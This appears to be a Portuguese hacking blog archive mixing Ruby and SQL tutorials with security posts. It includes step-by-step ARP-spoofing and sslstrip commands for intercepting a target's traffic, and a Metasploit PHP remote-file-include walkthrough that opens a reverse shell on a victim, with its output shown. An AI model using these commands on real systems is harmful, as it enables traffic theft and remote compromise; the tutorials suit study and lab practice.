Masterplan

"Tout honnêt homme doit avouer les livres qu'il publie "

2011-04-01T17:14:00.001-07:00

[...]

Pentesting VoIP With BackTrack

2011-04-01T17:13:00.000-07:00

É um ótimo material na wiki do Back-Track .

Pentesting VoIP

Hack Video Screens na Times Square

2011-04-01T17:09:00.000-07:00

Na Times Square um individuo conseguiu através do iPhone e uns receptores, transmitir sua imagem nos telões de uma das avenidas mais badaladas do mundo.

Penetration Testing in the Real World

2011-03-21T13:40:00.000-07:00

Opa moçada, tava aqui dando uma olhada em alguns videos, dentre eles achei um bem pertinente e abrangente na questão de analise, busca e explotação de falhas, entao, fica com o video ae :

http://vimeo.com/11213607

Exploits Brasil

2011-03-18T15:16:00.000-07:00

Então, eu estou aqui pra divulgar um pouco um grupo que foi criado recentemente pelo Luiz Vieira e o Ronaldo Lima .

O grupo Exploits-Brasil é destinado a todos que se interessam pelo assunto, independentemente do nível de conhecimento de cada um.

Para se inscrever no grupo acesse esse endereço:
https://groups.google.com/group/exploits-brasil
Venha participar do grupo e ajude a divulgá-lo!

O grupo é destinado a todos que desejam mais conhecimento onde se torna existente uma relação de troca de informações e relativismo informal de materiais relacionados ao desenvolvimento de exploits, analises de exploits, exploração de falhas, pentests em geral e outros conteúdos.

Microsoft perde cerca de 1,2 bilhões de dolares .

2011-03-10T20:21:00.000-08:00

Por Causa de alguns manos que estavam entediados e foram trabalhar com alguns algoritimos dos quais a microsoft usa para seus codigos, e com isso conseguiram um mode de ajusta-lo e resequencia-lo de forma rapida, e assim chegou até 160 Pontos de codigos da Microsoft e isso sendo varias e varias vezes usado ...
Moral da Historia :

We also fuck the system, our revenge .

About ARM Arch

2011-03-10T20:09:00.000-08:00

Este é um paper bem 'white' que eu escrevi para dar mais noção em hardware e criar um elo de estudo ao software, além de dar base sobre a Arquitetura ARM de processadores e como alguns sistemas funcionam, "desde a unha"

Understanding ARM Architecture

DLL Hijacking With Metasploit

2011-03-10T20:05:00.000-08:00

A todos, fica disponivel o meu paper sobre o assunto .

DLL Hijacking With Metasploit

Teoria dos Campos Unificados

2011-03-09T11:45:00.000-08:00

Bom, ultimamente não tenho postado muitas coisas no blog, fato .

Este é um paper book em PDF que de alguma forma me moveu a cabeça, me fez pensar de uma forma que eu não havia pensado sobre o hacking e a (in)segurança .

DOWNLOAD

Heap-Spray Attack

2010-12-25T05:08:00.000-08:00

Está a disposição o meu artigo sobre Heap-Spray Attack !

Metasploit Unleashed

2010-12-08T13:13:00.001-08:00

http://www.offensive-security.com/metasploit-unleashed/

É um otimo material para entender Estrutura, funcionamento e uso do Metasploit Framework .

Getting SSL Traffic

2010-12-07T10:49:00.000-08:00

A partir da Aparição de um SSLStrip (nao me lembro quem fez) muitos sequelas firam na paranoia , que tem um fundamento pelo poder dessa simplória porem muito interessante tool , que captura Seu Trafego SSL tranquilamente.

Resumidamente, os passos seriam:

Configurar o IP Forwarding:

CÓDIGO:: # echo 1 > /proc/sys/net/ipv4/ip_forward

Realizar um ataque ARP MITM entre as 2 máquinas:

CÓDIGO:: # arpspoof -i eth0 -t HOST_ALVO

Redirecionar o tráfego com iptables:

CÓDIGO:: # iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080

Iniciar o SSLStrip, definindo um arquivo onde armazenará os dados capturados:

CÓDIGO:: # python sslstrip.py -w arquivo

Quem quiser dar uma olhada no video :

http://www.youtube.com/watch?v=TJHcfs4inhs

também tem o site do SSLStrip :

http://www.thoughtcrime.org/software/sslstrip/

O que é SSL ?

http://nemesiz.forum.st/redes-cabeadas-f16/ssl-handshake-t250.htm

E MITM ?

http://nemesiz.forum.st/hacking-geral-f4/man-in-the-middle-na-pratica-t229.htm

[]'s ;

Sistemas Operacionais : Projetos e Implementação

2010-12-07T10:34:00.000-08:00

Aqui vai o livro do Tanenbaum , em Portugês , um diamanete isso viu .

http://www.easy-share.com/1119333

Building Security In Maturity Model em Português

2010-12-03T13:25:00.000-08:00

Agora temos o BSIMM em Português .

Isso , Podem fazer o download

Até []'s

Using the Metasploit PHP Remote File Include Module

2010-12-03T12:15:00.001-08:00

Metasploit tem um PHP nifty Remote File Include module que lhe permite obter uma shell de comando a partir de uma RFI.
Não é muito complicado de se usar, defina de forma normal as opções do seu RHOST/RPORT, defina o PATH e defina o seu PHPURI com o path vuln e coloque XXpathXX onde normalmente estaria o seu shell php. Então pegamos algo simples como "Text-File Login Remote File Include" que tem uma string vulneravel :

CÓDIGO:: /[path]/slogin_lib.inc.php?slogin_path=[remote_txt_shell] and make your PHPURI PHPURI /slogin_lib.inc.php?slogin_path=XXpathXX let's see it in action msf > search php_include [*] Searching loaded modules for pattern 'php_include'... Exploits ======== Name Rank Description ---- ---- ----------- unix/webapp/php_include excellent PHP Remote File Include Generic Exploit msf > use exploit/unix/webapp/php_include msf exploit(php_include) > info Name: PHP Remote File Include Generic Exploit Version: 8762 Platform: PHP Privileged: No License: Metasploit Framework License (BSD) Rank: Excellent Provided by: hdm egypt Available targets: Id Name -- ---- 0 Automatic Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- PATH / yes The base directory to prepend to the URL to try PHPRFIDB /home/cg/evil/msf3/dev2/data/exploits/php/rfi-locations.dat no A local file containing a list of URLs to try, with XXpathXX replacing the URL PHPURI no The URI to request, with the include parameter changed to XXpathXX Proxies no Use a proxy chain RHOST yes The target address RPORT 80 yes The target port SRVHOST 0.0.0.0 yes The local host to listen on. SRVPORT 8080 yes The local port to listen on. SSL false no Negotiate SSL for incoming connections SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) URIPATH no The URI to use for this exploit (default is random) VHOST no HTTP server virtual host Payload information: Space: 32768 Description: This module can be used to exploit any generic PHP file include vulnerability, where the application includes code like the following: msf exploit(php_include) > set PHPURI /slogin_lib.inc.php?slogin_path=XXpathXX PHPURI => /slogin_lib.inc.php?slogin_path=XXpathXX msf exploit(php_include) > set PATH /1/ PATH => /1/ msf exploit(php_include) > set RHOST 192.168.6.68 RHOST => 192.168.6.68 msf exploit(php_include) > set RPORT 8899 RPORT => 8899 msf exploit(php_include) > set PAYLOAD php/reverse_php PAYLOAD => php/reverse_php msf exploit(php_include) > set LHOST 192.168.6.140 LHOST => 192.168.6.140 msf exploit(php_include) > exploit [*] Started bind handler [*] Using URL: http://192.168.6.140:8080/RvSIqhdft [*] PHP include server started. [*] Sending /1/slogin_lib.inc.php?slogin_path=%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%36%2e%31%34%30%3a%38%30 %38%30%2f%52%76%53%49%71%68%64%66%74%3f [*] Command shell session 1 opened (192.168.6.140:34117 -> 192.168.6.68:8899) at Sun May 09 21:37:26 -0400 2010 dir 0.jpeg header.inc.php license.txt slog_users.txt version.txt 1.jpeg index.asp old slogin.inc.php adminlog.php install.txt readme.txt slogin_genpass.php footer.inc.php launch.asp slog_users.php slogin_lib.inc.php id uid=33(www-data) gid=33(www-data) groups=33(www-data)

Dei uma traduzida pra galera pegar mais facil .

original : http://carnal0wnage.attackresearch.com/node/421

Introdução ao Cracking com Ollydbg do Zero.

2010-11-29T04:31:00.000-08:00

A idéia destes tutoriais são de dar uma base para todos os estudantes iniciantes na arte do Cracking com Ollydbg além de dar uma boa norteada na era de Engenharia Reversa .

Em português :

http://ricardonarvaja.info/WEB/INTRODUCCION%20AL%20CRACKING%20CON%20OLLYDBG%20DESDE%20CERO/EN%20PORTUGUES/

Em outros Idiomas :
http://ricardonarvaja.info/WEB/INTRODUCCION%20AL%20CRACKING%20CON%20OLLYDBG%20DESDE%20CERO/

Bypassing UAC with User Privilege under Windows Vista/7 – Mirror

2010-11-28T08:21:00.000-08:00

Essa é uma nova falha descoberta a pouco tempo, um 0day do Windows Seven e Vista .

http://www.exploit-db.com/bypassing-uac-with-user-privilege-under-windows-vista7-mirror/

Sobre o Autor : http://www.codeproject.com/Members/noobpwnftw

Video de Demonstração : http://www.exploit-db.com/movies/uacvideo.swf

Exploit :

http://www.exploit-db.com/exploits/15609/

Exames para as certificações CISSP e SSCP agora em português!

2010-11-25T14:57:00.000-08:00

Pronto, agora você não tem mais desculpa :-) Após um longo e criterioso trabalho de tradução, o (ISC)² está finalmente lançando a versão traduzida de seus dois principais exames no mercado internacional: o CISSP e o SSCP.

A partir do dia 1º de novembro, os candidatos poderão solicitar a versão traduzida do exame durante o registro, em qualquer uma das localidades onde o (ISC)² aplica seus exames. Isso vale também para os colegas portugueses, ou para brasileiros fazendo o exame fora do Brasil. E se você é daqueles que torce o nariz para exames traduzidos, saiba que até nisso nós pensamos: os exames são bilígues, com a pergunta original em inglês e a traduzida lado a lado. A tradução foi feita focada na versão brasileira do idioma de Camões, e contou com o apoio de alguns dos mais experientes profissionais brasileiros no processo de revisão.

Nós da FLIPSIDE, na condição de único distribuidor oficial do (ISC)² na América Latina, acreditamos que com isso estamos dando um passo crucial na disseminação das certificações CISSP e SSCP em nosso continente. Nunca essas credenciais estiveram tão próximas de seu objetivo real: avaliar conhecimentos profissionais na área de Segurança da Informação (ao invés de avaliar o domínio dos candidatos de um idioma estrangeiro).

Para aqueles já registrados para os próximos exames, basta entrar em contato com o (ISC)² a partir do dia 1º de novembro através do e-mail registrar@isc2.org e solicitar a substituição do idioma. Para os que já estão desesperados pois planejavam fazer o exame ainda este ano e se depararam com todas as datas já esgotadas, fiquem tranquilos: estamos trabalhando para expandir o número de vagas e acomodar a todo mundo.

Acontecerá também o primeiro evento da (ISC)2 aqui no Brasil o SecureBrasil2011 saiba mais :
http://www.securebrasil.com.br

Criptografia de Unidade de Disco BitLocker

2010-11-16T06:04:00.000-08:00

É engraçado a tentativa da Microsoft em tampar os buracos do Windows com peneira .

Mas vamos tentar analisar :

A unidade de Disco Bitlocker foi desenvolvida para proteger os dados do Disco do Windows vista Enterprise e Ultimate , além do windows server Longhorn também .

O Bitlocker foi criado pra 'proteger' os computadores de possiveis invasores que destruam a proteção de dados .
Bem o Bitlocker utiliza um Trusted Plataform Module (TPM) é isso mesmo TPM não riam .
O TPM é um microchip instalado geralmente na Placa mãe do computador e serve para fornecer informações basicas sobre seguranças, muitas das vezes sobre Criptografia .
Bem o Bitlocker utiliza o TPM para manter um Computador com Windows Vista seguro enquanto o sistema estiver offline .
De Certa forma o Bitlocker é inovador, juntando duas subfunções : A criptografia de unidade de Disco inteira e a verificação da integridade dos componentes de inicialização precoce (early boot)

Bom isso empede que o atacante não destrua ou Roube os Dados do sistema .

Porém como a Microsoft não quer segurança dos seus sistemas e sim dinheiro não são todos que podem ter esse tipo de "Proteção" .

Tendo ou não, talvez isso seja uma ínfima e precária tentativa de minimizar o fato de que o Windows não é um sistema seguro e que Não passa de um brinquedo para Desktop users se divertirem .

Vida longa ao Under Reich .

até ;*

Tutorial Ruby with Shoes

2010-11-06T16:24:00.001-07:00

Dedico esse tutorial a uma das bandas mais fodas : Anberlin .
Começando , vou fazer esse 'tutorial extra' que é fora do curso, mas é bom que todos leiam e entendam porque depois iremos usar muitas coisas passadas aqui no nosso curso.
Muitas pessoas se perguntam onde iram aplicar o que entenderam no nosso Curso e que tipo de ferramenta 'funcional' poderiam criar, e é justamente pra isso que irei escrever este tutorial, e também para mostrar de forma 'interativa' o uso do Ruby. Pois de forma simples podemos criar any softwares simples, porem com o avanço de cada um as coisas poderam fluir e aí você podera desenvolver varias aplicações . Sem falar que não é apenas com esse curso que você vai aprender tudo sobre ruby, eu estou apenas passando a materia necessaria de forma simplificada e cabe a vocês aprofundarem e perguntarem quando sentirem duvidas, cabe a vocês o esforço de avançar na linguagem .

Antes de tudo quero que vocês conhecam um novo amiguinho que nos ajudara a desenvolver nossa aplicações ele se chama Shoes . é uma aplicação desenvolvida por um Mestre em Ruby que foi criada justamente para que possamos desenvolver de forma rapida e simples aplicações visuais .

Uploaded with ImageShack.us

Como instalar o Shoes ?
É simples primeiro você ira baixar no site : http://shoes.heroku.com/
Tem versões para Mac OS X, Linux, Windows .
Depois de baixado execute o Installer ou abra ele por uma shell se for no Linux com o .run , (você pode ter mais

informações no Site.)

Depois disso você abre um editor de texto, e escreva para começar a brincadeira :

CÓDIGO:: Shoes.app do para "Com ruby, Tudo pode ser possivel" end

Salve como Welcome.rb na sua desktop depois abra o Shoes e procure o app, dê dois clicks e abrirá a Janela com o texto

"Com ruby, Tudo pode ser possivel"

Isso é só o começo moçada .

Vamos começar a usar este tipo de principio para desenvolver algumas coisas lecais !

CÓDIGO:: Shoes.app { button("Clica aqui!") { alert("haha, isso esta ficando legal ?!") } }

Esse code deve ser executado da mesma maneira que foi o anterior .

Iniciamos o nosso "Shoes.app" colocamos um Button (Botão) depois uma especia de pop up que é um alert .
Bem simples não acham ?

Vamos há algumas informaçoes referentes a essa sintaxe 'diferenciada' para desenvolver aplicações .

SHOES .

como vocês já tem o basico de Ruby na cabeça não sera tão dificil, entao eu não irei explicar as coisinhas, irei apenas

apresentar o code e então é bom vocês irem treinando em casa .

Vamos a algo basico, sendo trabalhado com Strings :

CÓDIGO:: alert("Yes, we can change the world")

Esse é um alert simples, vocês conhecem bem .

O proximo :

CÓDIGO:: name = ask("digita teu nome ae gata :")

Uploaded with ImageShack.us
Este já abre uma janela fazendo a pergunta e com um campo para inserir o nome .
Parece com a função 'gets' no Ruby puro .

Ah, ta muito fraco ainda ?

CÓDIGO:: if confirm("Vai escolher uma cor ?") backcolor = ask_color("Pick a background") Shoes.app do background backcolor end end

Usamos agora uma true or false , para depois abrirmos uma aopção de esclher uma cor, e se vocês perceberam a cor que você

escolheu depois que se aperta o 'ok' se torna o background da janela .
Apartir disso, você pode criar any coisas, basta dar uma investigada .

Tudo bem, pra você isso ainda não ta valendo nada ..

RUBY WITH SHOES IN WEB .

CÓDIGO:: shoes.app do stack do title "Procurando no Google", :size => 16 @status = para "Espere um pouco..." # Procura no google por 'Nemesiz' e joga os HTTP headers na tela download "http://www.google.com/search?q=nemesiz" do |goog| @status.text = "headers: " + goog.responde.headers.inspect end end end

Daí pra frente você pode investigar e entender mais como pode funcionar o Ruby se usado com outras ferramentas ou de uma

forma diferente .

Ruby for all ||

2010-11-06T16:23:00.000-07:00

|-----------------------------------|
|Campanha RUBY FOR ALL|
|-----------------------------------|

Eu andei me adiantando para que o 'Curso' fosse de melhor intendimento para todos .
Eu tive que correr contra o tempo e escrever ele o quanto antes .

Vamos começar :

Como eu Havia Dito o primeiro tema que iremos abordar dessa vez será Classes :

Nas Classes nós podemos juntar novos metódos, modelos e o que a imaginação deixar, podemos também escrever as classes de any maneiras e enfim, vamos a um code que depois eu irei explicar :

CÓDIGO:: class Jogador def initialize(nome,idade,pontos) @nome = nome @idade = idade @pontos = pontos end def to_s "nome:"+@nome+" idade:"+@idade.to_s+" pontos:"+@pontos.to_s end end nba = Jogador::new("Lebron","28","720") puts nba

Bom, vocês devem ter percebido que os 'codes' agora estao diferentes, não vou usar mais os codes no interpretador e sim no 'SciTE' é o editor de texto que vem com o ruby e se tu tiver usando linux é só escrever o code e depois rodar com o comando do ruby.
Deixa eu explicar agora isto aí que você viu :
'class' é o modo em que sempre vamos começar uma 'classe' , depois eu chamei ela de 'Jogador' . 'def' que vocês já viram é usado em conjunto com 'initialize' que é outro parametro 'fixo' para se iniciar uma classe, logo depois entre parentese coloco o nome , idade e pontos que seram os componentes da classe . Bom, como eu citei no texto passado existem varios
depois atribuimos as variaveis de instancia seus respectivos 'nomes'
depois usamos o to_s para transformar objetos em strings depois colocamos que o nome é igual a "+@nome+" e assim vai, não entedeu, espera, vai entender agora : embaixo eu chamo tudo isso de 'nba' para depois atribuir os valores reais de cada um, manjou ? é simples .

PLUS , então vamos a nossa SubCategora :

Variaveis de Instância

Essas variaveis são como variaveis especificas que no caso são atribuidas ao componentes .

" @nome = nome "
E para atribuirmos essas variaveis é só usar o '@' antes da variavel manjaram ?

e bom, já que eu estou falando sobre Variaveis vamos aprofundar um pouco mais :
As variaveis no Ruby são 'diferenciadas' pelas suas diferentes formas oficiais de serem nomeadas , como o '@' antes da variavel ou o '$' e assim vai ..

Variaveis Globais (ou Publicas)

CÓDIGO:: irb(main):001:0> $var_gen = "abc" => "abc"

Essa como vocês veem é iniciada pelo '$' e o nome já diz tudo né .

A outra é variavel local que é simples não se usa nenhuma nomenclatura especial, essas vocês já viram né ?! (:

PLUS ||

Vamos ver algumas coisas a mais agora, hehe .

Ranges

Isto é bem simples moçada, por isso nao vai ocupar muito a cabeça de vocês :

CÓDIGO:: irb(main):001:0> r = 0..100 => 0..100 irb(main):002:0> r2 = 0...100 => 0...100 irb(main):003:0>

é o seguinte, no primeiro caso (r) o meu intervalo vai de 0 até 100 já no segundo intervalo(r2) vai de 0 a 99 pois quanto menos pontinhos tiver, maior será o intervalo.

Arrays

Aposto que você já ouviu falar, não é mesmo ?

Aqui no Ruby é assim :

CÓDIGO:: irb(main):003:0> a = ['Eu', 3, 'Ruby'] => ["Eu", 3, "Ruby"] irb(main):004:0>

Nesse caso eu 'misturei' agora vamos usar só Strings :

CÓDIGO:: irb(main):003:0> b = %w(arroz, feijao, carne, miojo, frango) => ["arroz,", "feijao,", "carne,", "miojo,", "frango"] irb(main):004:0>

Olha o exemplo da compra do mês aí em cima ^^ (:
e se quisermos escrever isso aí só que de forma 'separada' :

CÓDIGO:: irb(main):001:0> a = [] => [] irb(main):002:0> a.push "um" => ["um"] irb(main):004:0> a.push "dois" => ["um", "dois"] irb(main):005:0> a.push "tres" => ["um", "dois", "tres"] irb(main):006:0>

entenderam ? é mole !

f0nt_Drk .

Ruby for all .

2010-11-06T16:21:00.000-07:00

|------------------------------------|
| Campanha RUBY FOR ALL|
|------------------------------------|

Salve, Salve, moçada (:

Adiantando, Ruby é uma linguagem contemporânea, que abrange muitos recursos porem de forma seca e sem frescura, é rapida, muito poderosa quando se sabe usar, ainda não é muito difundida, porem será, com certeza .

Bom, O que é mesmo esse tal de "Ruby" ?
firmeza moçada, é o seguinte,
Temos como base do ruby, uma sintaxe simples, a mesma é oriantada a objetos, não a comparemos com Python ou Perls, pois Quando falamos orientada a objeto, tudo nela, é "considerado um objeto", algo que tambem é interassante frizar é que não precisamos eventualmente "declarar uma variavel", apenas com o uso de 'nomenclaturas' nao para especificar, e sim, delimitar o escopo da mesma, bom as 'coisas' no ruby sao muito exploraveis, mas relaxa, nao lembro de cabeça, ao longo do curso eu vou falando e ai voces pegam o bloquinho e pá, ta ligado [:

|------------------------------------------------|
| Numbaah one - Instalando o Ruby |
|------------------------------------------------|

Bem, voces podem baixar o Ruby no proprio site, no final do texto estarei disponibilizando alguns links uteis
é o seguinte, depois de baixado e intalado o Ruby no seu sistema operacional seja ele qual for, pois o Ruby é uma otima linguagem feita para todos os Sistemas, num linux voce abre uma shell e digita :

CÓDIGO:: irb

já num Windows, basta voce ir no atalho localizado no menu iniciar do FXRI

okay agora entao, que se inicie a festa

|-------------------------------------------------------------------|
|Numbaah two - Conceitos Basicos da Linguagem|
|-------------------------------------------------------------------|

Bom, nada melhor do que falarmos sobre Numeros, no Ruby trabalharemos com Valores inteiros ( EX: 1,10,255) e Numeros de Flutuantes ou como sao chamados na maioria das linguagens de "Float"
Vamos testar o nosso ruby, com ele aberto, digitemos nele o seguinte comando:

CÓDIGO:: puts 1 + 1

Bom, muito simples, o comando "puts" imprimira o valor da operacao realizada, lembrando que para somar usamos o "+", para subtrair usamos o "-", para multiplicar usamos o "*" e para dividirmos usamos o "/"
È logico que voce já devem entao imaginar o que o ruby nos retornara nao é ?
entao vejamos..

CÓDIGO:: puts 1 + 1 2 => nil

Sim, Claro, voces já deveriam imaginar isso, nao é ?  mas voces perguntam : o que é aquele "nil" ali ein Drk..
é simples, ele representa que voce realizou uma açao de valor nulo, resultado do uso do comando "puts" que sempre retorna um valor nulo ou "um nada absoluto"
Entao agora voces podem testar Diversas acoes, multiplicando, somando e fazendo o caralho a quatro  lembrando, que isso sao apenas conceitos basicos..
|-----------------------------------------------------------------------|
|Numbaah two - Conceitos Basicos da Linguagem // |
|-----------------------------------------------------------------------|
Agora iremos trabalhar com String  bem, levando em conta que voce já saiba programar em alguma outra linguagem, nao irei explicar nada referente ao mesmo..
entao, tentemos dar um "Olá mundo" no Ruby,isto é muito simples..
usamos o comando..

CÓDIGO:: puts 'ola mundo, strondando até umas hora, krlh ;@'

entao, vejamos o que nos retornou o
Ruby..

CÓDIGO:: irb(main):002:0> puts 'ola mundo, strondando até umas hora, krlh ;@' ola mundo, strondando até umas hora, krlh ;@ => nil

é simples, isso nós já poderiamos imaginar..
Mas nós podemos Brincar um pouco mais..

CÓDIGO:: puts ' diz ae ' + ' mocada rlz '

e entao vajemos o resultado

CÓDIGO:: diz ae mocada rlz

Muito simples não ? ^^'

mas pra deixar bem claro, vejamos a diferenca de uma operacao numerica de uma operacao de manipulacao de string

CÓDIGO:: irb(main):001:0> puts '12' + '12' 1212 => nil irb(main):002:0> puts 12 + 12 24 => nil

viram, como os apostrofos indicam o uso de uma string, e quando nao usados, eles leem o valor como numero comum, acho que já deu pra pegar a ideia de boa né nao mocada ? entao okay, bumba let's go :DD

|------------------------------------------------------------------------|
|Numbaah three Conceitos Basicos da Linguagem ///|
|------------------------------------------------------------------------|

Bom, agora abordaremos o topico "variaveis"
vamos entao, criar uma variavel em ruby

CÓDIGO:: var = 'é nois que tá ' + 'cachorro' => "é nois que ta cachorro" puts var é nois que tá cachorro =>nill

Podemos entao, fazer o seguinte..

CÓDIGO:: var = 'eu nao sei como dizer ' => "eu nao sei como dizer" var1 = 'te amo' => "te amo" var2 = var + var1 => "eu nao sei como dizer te amo"

Viu, como podemos trabalhar com as variaveis, ao longo do curso, nos iremos aprender mais e se voce ainda nao entendeu, nao pare. continua, champs
Existe um "plus" ae pra mandar pra voces, como eu disse num previo conceito da linguagem ali em cima, não precisamos declara-las, usamos apenas nomenclaturas, tão sakando ? vamo ver essas nomen.. alguma coisa [:
’var’ = variavel local, ’@var’ = variavel de instancia,
’$var’= variavel global
Vamos brincar um pouco mais com numeros,

CÓDIGO:: irb(main):037:0> hex = 0xF => 15 irb(main):038:0> bin = 0b1111 => 15

Aqui em cima eu realizei uma simples 'conversão' eu passei o valor hexa '0xF' para um numero real (classe dos Reais, numero comum) o mesmo com o binario '0b1111' mas rola uma pergunta, porque os dois deram o mesmo resultado ? é facil né, porque eu passei de hexa pra comum e o outros de binario pra comum, manjou ? essas são algumas brincadeiras que rola no Ruby .

|-------------------------------------------------------------|
|Numbaah four - Ruby, ná pratica, Metodos !|
|-------------------------------------------------------------|
Bem, em vez de nós estarmos sempre digitando o que queremos e depois digitando de novo e de novo.. ¬¬' vamos usar um metodo que daqui pra frente sera otimo para nós o def, que é um dos metodos, que começa com "def" e termina com "end".
e entao vamos testar..

CÓDIGO:: irb(main):001:0> def drk irb(main):002:0> puts 'é nois que owna calango' irb(main):003:0> end

como podemos ver, iniciamos o 'def' e o chamamos de "drk", usamos o comando 'puts' para inserir a string 'é nois que owna calango' e depois usamos o "end" para finalizarmos a nossa açao, e entao agora iremos chamar o nosso processo com o comando drk que na verdade é apenas o nome do nosso "def" que pode ser qualquer um..

CÓDIGO:: irb(main):004:0> drk é nois que owna calango => nil

E entao, vimos com funciona a parada ;D
Dai voce pode usar sua imaginação, mas calma, ainda nao acabamos, estamos apenas começando
Bem, vamos a mais um code, pra eu explicar mais

CÓDIGO:: print ("digite seu nome:" ) name = gets() puts (" Bem Vindo ao sistema #{name}" )

Bem, da pra ver que isto é simles, primeiramente, voces tao vendo que eu usei o "print", calma ainda estamos progamando sim, em Ruby, vou explicar, pra voces entenderem, basta entrar no interpretador ruby, e testar usar o comando print e o comando puts, os dois tem a mesma função, porem o puts, adiciona automaticamente, uma linha abaixo, já o print, deixa tudo na mesma linha ;D
E agora, que historia de Gets é essa, bem muito simples, ele tem a mesma funçao do "scanf" na linguagem C, só que manipulamos ele de forma diferente, do C, voces já devem ter percebido, definimos "name" igual a "gets ()" que nao é obrigatorio o uso dos parenteses, depois, nós já usamos o puts, que não tem problema, voces podem ver o "#{name}" que é onde podemos chamar a função gets.

|--------------------------------------------|
|Numbaah five - Ruby, ná pratica|
|--------------------------------------------|
Vejamos bem, vamos falar agora sobre " Classes"

Bom, classes é o proximo, aguardem .

--------------------------------------------------

Notas de rodapé !

Sim, eu nem sei se isso ainda é um Curso, eu tinha realmente esquecido muita coisa, inclusive deste texto, Desculpem-me, eu peço desculpas mesmo , mas pode ter certeza de que vocês iram agradecer depois, vou dar continuidade espero escrever mais uns dois textos, envolvendo Ruby, acho que sera razoavelmente bom . eu espero .

Até ;*

Writed by me . f0nt_Drk

SQL server 2005

2010-10-27T15:31:00.000-07:00

Admin's, se possível criem uma área para banco de dados (sql server, mysql, etc) e movam meu tópico pra lá

Galerinha a idéia e fazer da seguinte forma:
SQL Server 2005
Índice
--.Introdução
1.Criando um Banco de Dados
2. Tipos de Dados e Criação de tabelas
3. Inserindo Registros nas Tabela
4.Selecionando Registros nas Tabelas
5.Chave Primária
6. A Claúsula Where
7. Order By
8. Like
9. Group By
10.Update
11.Alter Table
12.Apagando Banco de dados, tabelas e Registros
13.Chave Estrangeira
14.Selecionando Registros de tabelas diferentes
15.Relacionando Tabelas

Será um pouco extenso e sou preguiçoso pra essas coisas, então não sei em quanto tempo irei fazer... Estava pensando em fazer tudo em vídeo, mas tem coisa que é chato ficar explicando como tipos de dados e etc...
Então irei colocar alguns links ou artigos relacionados para ler em partes que eu não achar necessário video.

Resumindo tudo...isso não é um tutorial passo a passo, você vai ter que pesquisar,ler e aprender aquilo que não entender,claro que qualquer dúvida só postar que eu tento ajudar, mas se quiser algo passo a passo recomendo a escola impacta de tecnologia. =D

-----------------------------------------------------------------------------------

--.Introdução (links e texto)

Os banco de dados relacionais são indiscutivelmente o tipo de banco de dados mais comumente utilizado. Não é necessário entender teoria relacional para utilizar um banco de dados relacional (o que é uma coisa boa), mas neste artigo passo alguns conceitos sobre isso.

Tabelas

Os bancos de dados relacionais são compostos de relações, mais comumente chamadas de tabelas. Uma tabela é exatamente o que o nome sugere - uma tabela de dados. Se alguma vez utilizou uma planilha eletrônica, já utilizou uma tabela relacional.

Toda tabela é composta por colunas, cada uma correspondendo a um fragmento diferente de dados e linhas que correspondem a registros individuais.

Colunas

Cada coluna na tabela tem um nome único e contém dados diferentes. Cada coluna tem um tipo de dados associados. As colunas são comumente chamadas de campos ou atributos.

Linhas

Cada linha em uma tabela representa um registro diferente. Por causa do formato tabular, todas elas têm os mesmos atributos. As linhas também são comumente chamadas de registros ou tuplas.

Valores

Cada linha consiste em um conjunto de valores individuais que correspondem a colunas. Cada valor deve ter o tipo de dados especificado pela sua coluna.

Chaves

É necessário ter uma maneira de identificar cada registro específico. Campos do tipo String normalmente não são uja maneira muito boa de fazer isso - este campo poderá ter registro repetidos. Para evitar redundâncias deste tipo adicionamos um inteiro único. Esse é o mesmo princípio que leva você a ter um número único de conta bancária ou número de associação. Isso facilita o armazenamento em um banco de dados. Um número de identificação artificialmente atribuído pode ter a garantia de se único. Poucas partes de informações reais, mesmo se utilizadas em combinação, têm essa propriedade.

A coluna de identificação em uma tabela é chamada de chave ou chave primária. Uma chave também pode consistir em múltiplas colunas. Por exemplo, podemos refirir a um registro específico combinando os campos correpondentes a ele, mas não tendo a garantia de ser única.

Normalmente os bancos de dados consistem em múltiplas tabelas e utilizam uma chyave como uma referência de uma tabela para outra. O termo de banco de dados relacinal para esse relacionamento é chave estrangeira. O identificador de uma tabela, quando aparece em outra tabela, é referido como uma chave estrangeira.

Relacionamentos

As chaves estrangeiras representam um relacionamento entre dados em duas tabelas.

Existem três tipos básicos de relacionamentos em um banco de dados relacional. Esses tipos são classficados de acordo com o número de coisas em cada lado do relacionamento. Os relacionamentos podem ser de um para um, de um para muitos ou de muitos para muitos.

Um relacionamento de um para um significa que há uma de cada coisa no relacionamento.

Em um relacionamento de um para muitos, uma linha em uma tabela é vinculada a muitas linhas na outra tabela.

Em um relacionamento de muitos para muitos, muitas linhas em uma tabela são vinculadas a muitas linhas de outra tabela. Esse tipo de relacionamento normalmente obtém uma tabela inteira para si próprio, então talvez tenha uma terceira tabela que só conteria as chaves das outras tabelas como chaves estrangeiras em pares, para mostrar quais registros estão associados.

Copy Paste From htmlstaff
Links(((--------
Básico sobre banco de dados:
http://www.cti.furg.br/~betito/bd/Introducao.ppt
Definições:
http://www.cti.furg.br/~betito/bd/ConceitosDefinicoes.ppt

É importantissimo você ter entendido como funciona um banco de dados relacionais para poder avançar nos seus estudos, caso esteja perdido, pode usar o excel ou Calc(Open Office) para entender o conceito de linhas e tabelas =D

Entendido isso você já pode instalar o sql server 2005 em sua máquina. Instale a versão Express, pois ela é gratuita e não fica devendo em nada para as outras versões (pelo menos pra quem só quer aprender)

Fim da Primeira Parte

Olhem estes videos agora para um melhor entendimento :
http://imasters.uol.com.br/artigo/244/sql_server/tipos_de_dados_no_sql_server_-_parte_1/
http://imasters.uol.com.br/artigo/245/sql_server/tipos_de_dados_no_sql_server_parte_2/

Para criamos um banco de dados onde, mais tarde, vamos inserir nossas tabelas, usamos o comando

CREATE DATABASE [nome do banco de dados].

Vídeo:

Então moçada ficae um bom tuto pra voces manjarem mais de SQL Server 2005 .

Autor : Pai Load . Lá da NSG , otimo topico bode véio .

[Tutorial] Teste de Intrusão - Parte 1

2010-10-27T15:23:00.001-07:00

Este é o primeiro de 5 ou 6 tutoriais que vou criar sobre testes de intrusão, sei que muita gente pode não compreender certos termos em Português de Portugal, mas esta é a minha língua, por isso me desculpem, afinal sempre é melhor que em inglês para muitos dos casos.

O tutorial não segue há risca um teste de penetração simplificado, por isso não esperem grandes detalhes no tutorial, por trata-se de um fórum sou obrigado a resumir grande parte dos passos.

